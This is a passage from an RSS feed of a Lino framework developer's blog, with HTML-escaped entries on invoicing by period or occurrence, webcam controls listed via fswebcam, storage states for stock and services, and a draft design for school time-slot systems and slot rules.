has a start_date and an end_date, and the “subscription periodicity” gives
&lt;cite&gt;renew_unit&lt;/cite&gt;, &lt;cite&gt;renew_every&lt;/cite&gt; and &lt;cite&gt;renew_before&lt;/cite&gt;. Period-based invoicing is for
subscriptions, with a monthly or yearly fee.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_invoicing_pass_type()&lt;/span&gt;&lt;/code&gt; or “occurence-based invoicing” :
Lino needs a &lt;cite&gt;number_of_events&lt;/cite&gt;, a &lt;cite&gt;min_asset&lt;/cite&gt; and &lt;cite&gt;max_asset&lt;/cite&gt;.
This is used e.g. in Voga when a customer buys a
“multi-pass card” for 10 sessions of an activity.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I am not yet sure where to store these information. Maybe we just want to add a
&lt;cite&gt;Tariff.product&lt;/cite&gt; field.  The current &lt;em&gt;flatrates&lt;/em&gt; (&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Tariff&lt;/span&gt;&lt;/code&gt;) do not
currently point to another product.&lt;/p&gt;
&lt;table class="docutils align-default"&gt;
&lt;thead&gt;
&lt;tr class="row-odd"&gt;&lt;th class="head"&gt;&lt;p&gt;qty&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;minimum&lt;/p&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;12&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;4&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;5&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;1&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;8&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;2&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Side note. How to handle quantity-related prices?  For example the unit price of
an hour would be 90 € while 5 hours would cost only 400 € and 10 hours only 750
€. –&amp;gt; This is not related to the storage plugin and should be addressed by
“price rules” or “complex products”.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0607.html</guid><pubDate>Wed, 07 Jun 2023 00:00:00 +0000</pubDate></item><item><title>Monday, June 5, 2023</title><link>https://luc.lino-framework.org/blog/2023/0605.html</link><description>&lt;section id="monday-june-5-2023"&gt;
&lt;h1&gt;Monday, June 5, 2023&lt;a class="headerlink" href="#monday-june-5-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I am trying to use the webcam of my notebook with &lt;cite&gt;fswebcam&lt;/cite&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ fswebcam --list-controls
Available Controls        Current Value   Range
------------------        -------------   -----
Brightness                127 (49%)       0 - 255
Contrast                  32 (12%)        0 - 255
Saturation                64 (64%)        0 - 100
Hue                       0 (50%)         -180 - 180
White Balance, Automatic  True            True | False
Gamma                     120 (50%)       90 - 150
Power Line Frequency      50 Hz           Disabled | 50 Hz | 60 Hz
White Balance Temperature 4000 (32%)      2800 - 6500
Sharpness                 2               0 - 7
Backlight Compensation    1               0 - 2
Exposure Time, Absolute   156 (12%)       4 - 1250
Exposure, Dynamic Framerate False           True | False
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0605.html</guid><pubDate>Mon, 05 Jun 2023 00:00:00 +0000</pubDate></item><item><title>Saturday, May 27, 2023</title><link>https://luc.lino-framework.org/blog/2023/0527.html</link><description>&lt;section id="saturday-may-27-2023"&gt;
&lt;h1&gt;Saturday, May 27, 2023&lt;a class="headerlink" href="#saturday-may-27-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;(Just some draft thoughts. Continued on &lt;a class="reference internal" href="0607.html"&gt;&lt;span class="doc"&gt;Wednesday, June 7, 2023&lt;/span&gt;&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;Some storage states:&lt;/p&gt;
&lt;table class="docutils align-default"&gt;
&lt;tbody&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;01&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;auf Lager&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;in stock&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;02&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;bestellt vom Kunden&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;reserved for customer&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;03&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;bestellt bei Lieferant&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;ordered from provider&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;04&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;ausgeliehen&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;rented out&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;05&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;beschädigt&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;damaged&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;06&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;in Reparatur&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;under repair&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;07&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;gekauft&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;purchased&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;In Lino Noi we would have only on storage state “purchased”, and two transfer
rules:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;A sales invoice (SLS) debits 02 and credits 06&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A service report (SRV) voucher debits 06&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In a bicycle shop&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0527.html</guid><pubDate>Sat, 27 May 2023 00:00:00 +0000</pubDate></item><item><title>Monday, May 15, 2023</title><link>https://luc.lino-framework.org/blog/2023/0515.html</link><description>&lt;section id="monday-may-15-2023"&gt;
&lt;h1&gt;Monday, May 15, 2023&lt;a class="headerlink" href="#monday-may-15-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;First use case will be &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#noi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Noi&lt;/span&gt;&lt;/a&gt; where customers would buy services (increasing
their stock of purchased services), and we would introduce a new journal
“Service reports”, which will decrease the stock.&lt;/p&gt;
&lt;p&gt;Until now both operations were expressed in money and within a single journal. A
same sales invoice could potentially contain the renewal of a yearly
subscription and a series of services built from working sessions. The time
credit was actually expressed in money.
Now the time credit will be expressed in hours. 1&lt;/p&gt;
&lt;p&gt;We now have two invoicing areas:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Sales invoices is for selling yearly subscriptions and (optionally)
contingents of time credit.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Service reports have no effect on accounting. They don’t generate &lt;em&gt;ledger&lt;/em&gt;
movements but &lt;em&gt;storage&lt;/em&gt; movements.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0515.html</guid><pubDate>Mon, 15 May 2023 00:00:00 +0000</pubDate></item><item><title>About time slots</title><link>https://luc.lino-framework.org/blog/2023/0503.html</link><description>&lt;section id="about-time-slots"&gt;
&lt;h1&gt;About time slots&lt;a class="headerlink" href="#about-time-slots" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Wednesday, May 3, 2023&lt;/p&gt;
&lt;p&gt;We currently have two similar models &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;courses.Slot&lt;/span&gt;&lt;/code&gt; and
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;calview.PlannerRow&lt;/span&gt;&lt;/code&gt;. The former is subclassed in medico. I have the feeling
that none of these is what we really need. Today I collected some ideas.&lt;/p&gt;
&lt;section id="user-documentation"&gt;
&lt;h2&gt;User documentation&lt;a class="headerlink" href="#user-documentation" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Using time slots means that appointments are scheduled so they fit into a
“timetable”. Instead of specifying start and end time, users just specify the
“slot”. For example the slot “third hour” would mean “from 10:05 to 10:50”. The
advantage of using time slots is to simplify planning and minimize “holes”.&lt;/p&gt;
&lt;p&gt;A typical usage example are schools. These “slot systems” differ between
schools. For a given school you can have different slot systems.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="a-real-world-example"&gt;
&lt;h2&gt;A real-world example&lt;a class="headerlink" href="#a-real-world-example" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For example, in
&lt;a class="reference external" href="https://vigalattk.ee/et/tundide-ajakava"&gt;Vigala vocational school&lt;/a&gt; they have
five slot systems, three for the “regular school” and two for the “session
school”.&lt;/p&gt;
&lt;p&gt;Regular school / Monday:&lt;/p&gt;
&lt;table class="docutils align-default"&gt;
&lt;tbody&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;1&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;10:25 - 11:10&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;2&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;11:15 - 12:00&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;3&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;12:10 - 12:55&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;4&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;12:55 - 13:40&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;5&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;13:50 - 14:35&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;6&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;14:45 - 15:30&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;7&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;15:40 - 16:25&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Regular school / Tuesday to Thursday:&lt;/p&gt;
&lt;table class="docutils align-default"&gt;
&lt;tbody&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;1&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;08:30 - 09:15&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;2&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;09:25 - 10:10&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;3&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;10:20 - 11:05&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;4&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;11:15 - 12:00&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;5&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;12:10 - 12:55&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;6&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;12:55 - 13:40&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;7&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;13:50 - 14:35&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;8&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;14:45 - 15:30&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;9&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;15:40 - 16:25&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Regular school / Friday&lt;/p&gt;
&lt;table class="docutils align-default"&gt;
&lt;tbody&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;1&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;08:00 - 08:45&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;2&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;08:55 - 09:40&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;3&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;09:50 - 10:35&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;4&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;10:45 - 11:30&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Session school / Monday - Satuday&lt;/p&gt;
&lt;table class="docutils align-default"&gt;
&lt;tbody&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;1&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;08:30 - 09:15&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;2&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;09:25 - 10:10&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;3&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;10:20 - 11:05&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;4&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;11:15 - 12:00&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;5&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;12:10 - 12:55&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;6&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;12:55 - 13:50&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;7&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;13:50 - 14:35&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;8&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;14:45 - 15:30&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;9&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;15:40 - 16:25&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;9&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;16:30 - 18:00&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;10&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;18:10 - 19:40&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Session school / Friday&lt;/p&gt;
&lt;table class="docutils align-default"&gt;
&lt;tbody&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;1&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;08:00 - 08:45&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;2&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;08:55 - 09:40&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;3&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;09:50 - 10:35&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;4&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;10:45 - 11:30&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;5&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;11:40 - 12:25&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;6&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;12:25 - 13:10&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;7&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;13:20 - 14:05&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;8&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;14:05 - 14:50&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;9&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;15:00 - 15:45&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;10&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;15:45 - 16:30&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;11&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;16:40 - 17:25&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;12&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;17:25 - 18:10&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SlotSystems&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;== ================&lt;/span&gt;
&lt;span class="go"&gt;RE Regular / Monday&lt;/span&gt;
&lt;span class="go"&gt;RF Regular / Friday&lt;/span&gt;
&lt;span class="go"&gt;RT Regular / Other&lt;/span&gt;
&lt;span class="go"&gt;SF Session / Friday&lt;/span&gt;
&lt;span class="go"&gt;SO Session / Other&lt;/span&gt;
&lt;span class="go"&gt;== ================&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SlotSelectors&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;= =======&lt;/span&gt;
&lt;span class="go"&gt;R Regular&lt;/span&gt;
&lt;span class="go"&gt;S Session&lt;/span&gt;
&lt;span class="go"&gt;= =======&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;dl&gt;
&lt;dt&gt;::&lt;/dt&gt;&lt;dd&gt;&lt;dl&gt;
&lt;dt&gt;class Slot:&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;id = CharField(primary=True)
slot_system = SlotSystems.field()
number = IntegerField()
start_time
end_time&lt;/p&gt;
&lt;dl class="simple"&gt;
&lt;dt&gt;def clean(self):&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;self.id = self.slot_system.value + str(self.number)
super().clean()&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Slots&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;==== ===== =====&lt;/span&gt;
&lt;span class="go"&gt;ID   Start End&lt;/span&gt;
&lt;span class="go"&gt;==== ===== =====&lt;/span&gt;
&lt;span class="go"&gt;RE1  10:25 11:10&lt;/span&gt;
&lt;span class="go"&gt;...&lt;/span&gt;
&lt;span class="go"&gt;SF12 17:25 18:10&lt;/span&gt;
&lt;span class="go"&gt;==== ===== =====&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="slot-rules"&gt;
&lt;h2&gt;Slot rules&lt;a class="headerlink" href="#slot-rules" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;It’s even more complex: the “Friday” systems are not used only on Fridays, they
are additionally used on every day before a holiday. And the “Monday” system is
used additionally on every first day after a holiday.&lt;/p&gt;
&lt;p&gt;Add a model &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;cal.SlotRule&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;class SlotRule(Sequenced):
  weekday = Weekdays.field()
  day, month, year = IntegerField()
  // Dynamically add one field ``XYZ_slots = SlotSystems.field()``
  // for each ``XYZ`` in ``SlotSelectors.get_list_items()``

  @classmethod
  def get_slot_system(cls, slot_sel, date):
      weekday = Weekdays.get_from_date(date)
      for rule in cls.objects.all():
        if rule.selector in (None, slot_sel):
          if rule.weekday in (None, weekday):
            if rule.year in (None, date.year):
              ...
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SlotRules&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;======= ==== ===== === ======= =======&lt;/span&gt;
&lt;span class="go"&gt;Weekday Year Month Day Regular Session&lt;/span&gt;
&lt;span class="go"&gt;======= ==== ===== === ======= =======&lt;/span&gt;
&lt;span class="go"&gt;                4   30  RF      SF&lt;/span&gt;
&lt;span class="go"&gt;               12   24  RF      SF&lt;/span&gt;
&lt;span class="go"&gt;1                       RM      SO&lt;/span&gt;
&lt;span class="go"&gt;2                       RO      SO&lt;/span&gt;
&lt;span class="go"&gt;3                       RO      SO&lt;/span&gt;
&lt;span class="go"&gt;4                       RO      SO&lt;/span&gt;
&lt;span class="go"&gt;5                       RF      SF&lt;/span&gt;
&lt;span class="go"&gt;======= ==== ===== === ======= =======&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;cal.Event&lt;/span&gt;&lt;/code&gt; model would get a new field &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;slot&lt;/span&gt; &lt;span class="pre"&gt;=&lt;/span&gt; &lt;span class="pre"&gt;Slots.field()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;dl class="simple"&gt;
&lt;dt&gt;def slot_choices():&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;slot_sel = self.
slot_sys =&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_slot_system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
